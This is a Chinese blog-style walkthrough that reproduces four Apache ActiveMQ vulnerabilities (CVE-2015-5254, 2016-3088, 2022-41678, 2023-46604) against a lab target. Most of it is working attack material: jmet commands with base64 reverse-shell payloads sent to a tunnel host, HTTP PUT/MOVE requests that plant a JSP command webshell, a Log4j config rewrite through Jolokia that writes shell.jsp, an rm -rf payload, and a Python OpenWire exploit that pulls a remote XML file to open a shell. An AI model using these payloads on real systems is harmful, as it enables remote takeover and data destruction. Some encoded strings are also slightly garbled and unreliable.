Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
1.ActiveMQ反序列化(CVE-2015-5254)
前面漏洞原理我就不累赘了,直接看vulhub里面的附件吧,开始复现
在这里要安装工具
使用jmet进行漏洞利用:
首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
cd /opt
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
然后直接在当前文件夹打开命令行就可以了,输入这个命令
java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y “touch /tmp/success” -Yp ROME 8.130.129.187 61616
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
如果出现这种情况,就是jdk版本太高了,安装一个jdk8
jdk8: wget https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
继续往下做
这个是正常返回
现在admin不知情点击这个
点击这个查看消息,就能触发我们上传的代码,来一记删库
当然我们的目的是要拿到权限哈,既然判断了能够利用jmet,那么想办法反弹shell
还得做个穿透 ,当然如果你的靶机部署在内网里,忽略这些,我的意思是你的靶机和你的操作机(kali)能相互ping通
secure introspectable tunnels to localhost
dashboard.cpolar.com/login
cpolar挺好用的,具体设置结合这篇文章吧
Kali Linux结合cpolar内网穿透实现公网环境SSH远程访问
blog.csdn.net/ljq_up/article/details/136839887
ok,那我这里就默认你们会了
这是我的出网ip和端口
反弹shell命令我用base64加密了
*[~]#棱角 ::Edge.Forum**这里推荐一个反弹shell命令生成器
‘/root/java8/jdk1.8.0_202/bin/java’ -jar ‘/root/jmet/jmet-0.1.0-all.jar’
-Q myevent -I ActiveMQ -s -Y
“bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82LnRjcC52aXAuY3BvbGFyLmNuLzExNjQ1IDA+JjE=}|{base64,-d}|{bash,-i}”
-Yp ROME 8.130.129.187 61616
上面就是payload,把echo后面的base64换成你们的就行了
同时要监听端口 nc -lvvp 22 我这里用的本地22号端口和cpolar绑定的
一旦admin点开那条消息,我们就有流量了
2.ActiveMQ任意文件写入漏洞(CVE-2016-3088)
前面漏洞原理我就不累赘了,直接看vulhub里面的附件吧,开始复现
url/fileserver 这个是web的文件服务器,
url/api 这个可以查看上传的所有文件
抓包上传jsp马
这是刚抓的包
这个是改提交方式为PUT,并且提交马,回显204,上传成功,现在去看一下fileserver/1.txt是会有东西的
PUT /fileserver/1.txt HTTP/1.1
Host: 8.130.129.187:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: td_cookie=3860191058
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 329
<%@ page import=”java.io.*“%>
<%
out.print(“Hello</br>“);
String strcmd=request.getParameter(“cmd”);
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+”</br>“);
}
%> //这个就是一句话马,其中PUT头那一行,必须是.txt 不然上传失败
这里用MOVE,把1.txt移动到admin的1.jsp目录,返回值204
这里有个漏洞,名字我忘记了,反正知道有个漏洞就行了, 能够把1.txt文件当成1.jsp运行,
我记得是Java的中间件漏洞,
MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/admin/1.jsp
Host: 8.130.129.187:8161
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: td_cookie=3860191058
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 329
<%@ page import=”java.io.*“%>
<%
out.print(“Hello</br>“);
String strcmd=request.getParameter(“cmd”);
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+”</br>“);
}
%>
ok,这样jsp马上传成功,并且在admin目录下
我尝试了一下,把一句话放到api也可以,当然也可以直接蚁剑连
3.ActiveMQ Jolokia 后台远程代码执行漏洞(CVE-2022-41678)
ActiveMQ中,经过身份验证的用户默认情况下可以通过/api/jolokia/接口操作MBean,其中FlightRecorder可以被用于写Jsp WebShell,从而造成远程代码执行漏洞
FlightRecorder存在于Jdk 11+,具体类名:jdk.management.jfr.FlightRecorderMXBeanImpl
使用org.apache.logging.log4j.core.jmx.LoggerContextAdminMBean,这是由Log4j2提供的一个MBean。
攻击者使用这个MBean中的setConfigText操作可以更改Log4j的配置,进而将日志文件写入任意目录中。
第一步访问,获取到MBean值,抓包url/api/jolokia/list 但是要加Origin:url:port
直接搜索org.apache.logging.log4j
第二步再次访问,此处的mbean(type=6dd)在上面获取到
{
“type”: “exec”,
“mbean”: “org.apache.logging.log4j2:type=6ddf90b0”,
“operation”: “setConfigText”,
“arguments”: [
“xml”,
“utf-8”]
}
拿过来以POST提交
POST /api/jolokia HTTP/1.1
Host: 8.130.129.187:8161
Origin:8.130.129.187:8161
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: td_cookie=3860191058
Connection: close
Content-Length: 137
{“type”: “exec”, “mbean”: “org.apache.logging.log4j2:type=6ddf90b0”, “operation”: “setConfigText”, “arguments”: [“xml”, “utf-8”]}
xml为POC中的evil_template内容在这里我直接用的xml,也可以在用poc.py的内容替换一下,此处出现”status”:200,就可以证明漏洞存在
第三步传马
现在传一句话User-Agent: Mozilla ||| <% Process p = Runtime.getRuntime().exec(request.getParameter(“cmd”)); out.println(org.apache.commons.io.IOUtils.toString(p.getInputStream(), “utf-8”)); %> |||
当然也可以来一记rm -rf 返回是200就对了,我给自己来了一记,然后容器进不去了,最后重启了一次docker
消息头:
GET /api/jolokia/version HTTP/1.1
Host: 8.130.129.187:8161
Origin:8.130.129.187:8161
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
User-Agent:zilla ||| <% Process p =rm -rf %> |||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: td_cookie=3860191058
Connection: close
Content-Length: 137
{“type”: “exec”, “mbean”: “org.apache.logging.log4j2:type=6ddf90b0”, “operation”: “setConfigText”, “arguments”: [“xml”, “utf-8”]}
xml文件是evil_template,但是需要采用\ 和\n进行转义,这是我已经转义过的
<?xml version=\1.0\ encoding=\UTF-8\?>
<Configuration>\n
<Appenders>\n
<Console name=\Console\ target=\SYSTEM_OUT\>\n
<PatternLayout pattern=\%5p | %m%n\/>\n
</Console>\n
<RollingRandomAccessFile name=\RollingFile\ fileName=\${sys:activemq.data}/../webapps/admin/shell.jsp\ \n
filePattern=\${sys:activemq.data}/../webapps/admin/shell.jsp.%i\>\n
<PatternLayout pattern=\%d | %-5p | %m | %c | %t%n%throwable{full}\/>\n
<Policies>\n
<SizeBasedTriggeringPolicy size=\1MB\/>\n
</Policies>\n
</RollingRandomAccessFile>\n
<RollingRandomAccessFile name=\AuditLog\ fileName=\${sys:activemq.data}/audit.log\ filePattern=\${sys:activemq.data}/audit.log.%i\>\n
<PatternLayout pattern=\%-5p | %m | %t%n\/>\n
<Policies>\n
<SizeBasedTriggeringPolicy size=\1MB\/>\n
</Policies>\n
</RollingRandomAccessFile>\n
</Appenders>\n
<Loggers>\n
<Root level=\INFO\>\n
<AppenderRef ref=\Console\/>\n
<AppenderRef ref=\RollingFile\/>\n
</Root>\n
<Logger name=\org.apache.activemq.spring\ level=\WARN\/>\n
<Logger name=\org.apache.activemq.web.handler\ level=\WARN\/>\n
<Logger name=\org.springframework\ level=\WARN\/>\n
<Logger name=\org.apache.xbean\ level=\WARN\/>\n
<Logger name=\org.eclipse.jetty\ level=\DEBUG\/>\n
<Logger name=\org.apache.activemq.audit\ level=\INFO\ additivity=\false\>\n
<AppenderRef ref=\AuditLog\/>\n
</Logger>\n
<!– Uncomment and modify as needed for ActiveMQ logger\n
<Logger name=\org.apache.activemq\ level=\DEBUG\/>\n
–>\n
</Loggers>\n
</Configuration>\n
post提交
成功
访问/admin/shell.jsp?cmd=ls 可以看到命令成功执行
4.ActiveMQ OpenWire 协议反序列化命令执行漏洞(CVE-2023-46604)
OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。
修改xml(下面是代码,命名为poc.xml)为反弹shell命令
<?xml version=”1.0” encoding=”UTF-8” ?>
<beans xmlns=”http://www.springframework.org/schema/beans“
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance“
xsi:schemaLocation=”http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd"\>
<bean id=”pb” class=”java.lang.ProcessBuilder” init-method=”start”>
<constructor-arg>
<list>
<value>touch</value>
<value>{echo,YYmFzaCAtaSA+JiAvZGV2L3RjcC8zLnRjcC52aXAuY3BvbGFyLmNuLzEwNzkyIDA+JjE=}|{base64,-d}|{bash,-i}</value> <!– base64(bash -i >& /dev/tcp/3.tcp.vip.cpolar.cn:10792 0>&1) 这俩这个地址是我20000端口进行的外网映射,就是反弹shell连接前面ip端口,然后我监听20000端口就能得到数据–>
</list>
</constructor-arg>
</bean>
</beans>
启动一个HTTP发连接服务器,其中包含我们的poc.xml:
python3 -m http.server 22
这里我所有的终端都是在这个文件夹下的
我做了内网穿透,22号端口已经映射到外网了
监听我的20000端口
然后,执行poc.py(下面是代码命名为poc.py),传入的三个参数分别是目标服务器地址、端口、以及包含poc.xml的反连平台URL:
import io
import socket
import sys
def main(ip, port, xml):
classname = “org.springframework.context.support.ClassPathXmlApplicationContext”
socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_obj.connect((ip, port))
with socket_obj:
out = socket_obj.makefile(‘wb’)
# out = io.BytesIO() # 创建一个内存中的二进制流
out.write(int(32).to_bytes(4, ‘big’))
out.write(bytes([31]))
out.write(int(1).to_bytes(4, ‘big’))
out.write(bool(True).to_bytes(1, ‘big’))
out.write(int(1).to_bytes(4, ‘big’))
out.write(bool(True).to_bytes(1, ‘big’))
out.write(bool(True).to_bytes(1, ‘big’))
out.write(len(classname).to_bytes(2, ‘big’))
out.write(classname.encode(‘utf-8’))
out.write(bool(True).to_bytes(1, ‘big’))
out.write(len(xml).to_bytes(2, ‘big’))
out.write(xml.encode(‘utf-8’))
# print(list(out.getvalue()))
out.flush()
out.close()
if __name__ == “__main__“:
if len(sys.argv) != 4:
print(“Please specify the target and port and poc.xml: python3 poc.py 8.130.129.187 61616 “ //这个是受害机
“http://2.tcp.vip.cpolar.cn:10544/poc.xml“) 这个是我22号端口映射的外网地址,用来给受害机下载.xml
exit(-1)
main(sys.argv[1], int(sys.argv[2]), sys.argv[3])
现在输入这条命令
python ./poc.py 8.130.129.187 61616 http://2.tcp.vip.cpolar.cn:10544/poc.xml
传入的三个参数分别是目标服务器地址、端口、以及包含poc.xml的反连平台URL
连上了